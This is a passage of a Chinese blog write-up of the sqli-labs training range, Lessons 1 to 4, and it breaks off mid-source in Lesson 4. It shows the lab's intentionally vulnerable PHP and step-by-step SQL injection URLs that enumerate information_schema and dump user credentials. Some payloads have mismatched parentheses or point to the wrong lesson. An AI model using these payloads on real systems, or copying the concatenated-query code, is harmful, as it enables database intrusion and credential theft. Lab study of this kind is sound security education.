sqli-Labs靶场笔记

最新推荐文章于 2024-03-30 18:48:11 发布

YouNgFreshq

最新推荐文章于 2024-03-30 18:48:11 发布

阅读量2.8k

点赞数

分类专栏： sqli-labs

sqli-labs 专栏收录该内容

1 篇文章 0 订阅

订阅专栏

点击打开链接

http://blog.csdn.net/u012763794/article/details/51207833

http://blog.csdn.net/u012763794/article/details/51361152

http://blog.csdn.net/u012763794/article/details/51457142

Less-1 基于错误的 - get 单引号 - 字符型注入

①先打开网页查看 Welcome Dhakkan

②查看源代码 index.php :

[php] view plain copy

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-1 **Error Based- String**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome Dhakkan
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo " ";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</div><center>
<img src="../images/Less-1.jpg" /></center>
</body>
</html>

③可以看到页面中显示：

[plain] view plain copy

Please input the ID as parameter with numeric value

按它说的做，那我们就在URL后面输入：

[plain] view plain copy

http://localhost/sqli-labs-master/Less-1/?id=1

看来我们得到了登录名：Dumb，以及密码：Dumb，那么为什么会显示出来呢？我们来看下index.php中的代码：

[php] view plain copy

if(isset($_GET['id'])) //判断id的值时候有被设置
{
$id=$_GET['id']; //取出id值
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; //构建sql语句，漏洞所在
.....
.....
$result=mysql_query($sql); //然后查询，并返回结果
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo " ";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>

这样一来就明白了为什么会有这样的结果，当然如果你输入不同的id值就会返回不同的结果，实际查询的语句是：

[plain] view plain copy

SELECT * FROM users WHERE id='1' LIMIT 0,1;

注意：这里的$id是被单引号包起来的，我可以可以通过 ' 来验证，输入URL：

[plain] view plain copy

http://localhost/sqli-labs-master/Less-1/?id=1'

以下还有两个注入可以成功执行：

[plain] view plain copy

http://localhost/sqli-labs-master/Less-1/?id=1' or'1'='1
http://localhost/sqli-labs-master/Less-1/?id=1' or 1=1 --+

对应的mysql执行语句：

[plain] view plain copy

SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1
SELECT * FROM users WHERE id='' or 1=1 --+' LIMIT 0,1

接下来我们利用 order by 来判断users表中有几列，输入如下：

[plain] view plain copy

http://localhost/sqli-labs-master/Less-1/?id=1' order by 1 %23

注意：%23 是指 # 的编码

提示的信息可以使我们确定没有第4列，接下来使用联合语句 union 来查询，输入：

[plain] view plain copy

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 %23

注意：细心的朋友可能发现我把1改成-1，原因是当用id=1的时候执行的结果只有一条记录，这是因为在 index.php 中并没有循环取出数据。

解决方法是：让第一行查询的结果是空集（即union左边的select子句查询结果为空），那么我们union右边的查询结果自然就成为了第一行，就打印在网页上了，这个id他一般传的是数字，而且一般都是从1开始自增的，我们可以把id值设为非正数（负数或0），浮点数，字符型或字符串都行。

可以看到只有第2列和第3列的结果显示在页面上，我们只有 2，3可以用，接下来我们就利用 2，3来查询数据库的信息，需要用到的函数有：

concat_ws（）：从数据库里取N个字段，然后组合到一起用符号分割显示，第一个参数剩余参数间的分隔符

char（）：将十进制ASCII码转化成字符

user（）：返回当前数据库连接使用的用户

database（）：返回当前数据库连接使用的数据库

version（）：返回当前数据库的版本

构建如下Sql语句：

[plain] view plain copy

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23

注意：这里的32表示 [空格]，58表示 [：] ，执行

知道数据库名了，接下来就是拆解表了。

首先说一下mysql的数据库information_schema，他是系统数据库，安装完就有，记录是当前数据库的数据库，表，列，用户权限等信息，下面说一下常用的几个表

SCHEMATA表：储存mysql所有数据库的基本信息，包括数据库名，编码类型路径等，show databases的结果取之此表。

TABLES表：储存mysql中的表信息，（当然也有数据库名这一列，这样才能找到哪个数据库有哪些表嘛）包括这个表是基本表还是系统表，数据库的引擎是什么，表有多少行，创建时间，最后更新时间等。show tables from schemaname的结果取之此表

COLUMNS表：提供了表中的列信息，（当然也有数据库名和表名称这两列）详细表述了某张表的所有列以及每个列的信息，包括该列是那个表中的第几列，列的数据类型，列的编码类型，列的权限，猎德注释等。是show columns from schemaname.tablename的结果取之此表。

注意，查询information_schema中的信息时，使用where语句，那个值不能直接用英文，要用单引号包裹着，当然用其十六进制表示也可以，数值类型的就不用单引号了，这对过滤单引号应该有指导意义。

security的十六进制转换是：0x7365637572697479

16进制转换地址：http://www.bejson.com/convert/ox2str/

那么，接下来。构建 Sql 语句：

[plain] view plain copy

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 %23

只返回一个table，原因很简单，还是循环问题。那么我们可以使用limit来依次列举：

[plain] view plain copy

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 %23

不断的改变，limit的第一个参数，就可以一次列举出来，不过太麻烦了，我们直接使用 group_concat函数，该函数返回一个字符串结果，该结果由分组中的值连接组合而成，那么构建 sql 语句：

[plain] view plain copy

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+

Less-2 基于错误的 - get - 数字型

① 先打开网页查看 Welcome Dhakkan

②查看源代码 index.php :

[php] view plain copy

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-2 **Error Based- Intiger**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome Dhakkan
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo " ";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else
{
echo "Please input the ID as parameter with numeric value";
}
?>
</div><center>
<img src="../images/Less-2.jpg" /></center>
</body>
</html>

③可以看到页面中显示：

[plain] view plain copy

Please input the ID as parameter with numeric value

按它说的做，那我们就在URL后面输入：

这样我们就得到了用户名和密码，在 index.php 中唯一的区别就是 $id 没有用单引号包住了，这是因为sql对于数字型的数据可以不加单引号。当然这也使得注入更加容易了，没什么好说的，构建sql语句：

[plain] view plain copy

http://localhost/sqli-labs-master/Less-1/?id=-1 union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+

Less-3基于错误的 - GET单引号变形字符型注入

① 先打开网页查看 Welcome Dhakkan

②查看源代码：

[php] view plain copy

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-3 Error Based- String (with Twist) </title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome Dhakkan
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "";
echo 'Your Login name:'. $row['username'];
echo " ";
echo 'Your Password:' .$row['password'];
echo "";
}
else
{
echo '';
print_r(mysql_error());
echo "";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
</div><center>
<img src="../images/Less-3.jpg" /></center>
</body>
</html>

③可以看到页面中显示：

[plain] view plain copy

Please input the ID as parameter with numeric value

按它说的做，那我们就在URL后面输入：

一样的画面，可以发现在 index.php 中的 $id 改成了 ('$id') 了，当然，也很容易验证：

首先看到near和at之间的字符串，直接将左右的引号去掉，那么就得到'-1'') LIMIT 0,1，')是多出来的，因此可以确认这是单引号注入的变形。输入如下sql语句：

[plain] view plain copy

http://localhost/sqli-labs-master/Less-3/?id=1')--+

正常显示了吧，基本上就没什么区别了，构建的sql语句如下：

[plain] view plain copy

http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+

Less-4基于错误的GET双引号字符型注入

① 先打开网页查看 Welcome Dhakkan

②查看源代码：

[php] view plain copy

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-4 Error Based- DoubleQuotes String</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome Dhakkan
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);
// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

YouNgFreshq

关注

0
点赞
踩
7

收藏

觉得还不错? 一键收藏
0
评论
sqli-Labs靶场笔记

点击打开链接http://blog.csdn.net/u012763794/article/details/51207833http://blog.csdn.net/u012763794/article/details/51361152http://blog.csdn.net/u012763794/artic...
复制链接

扫一扫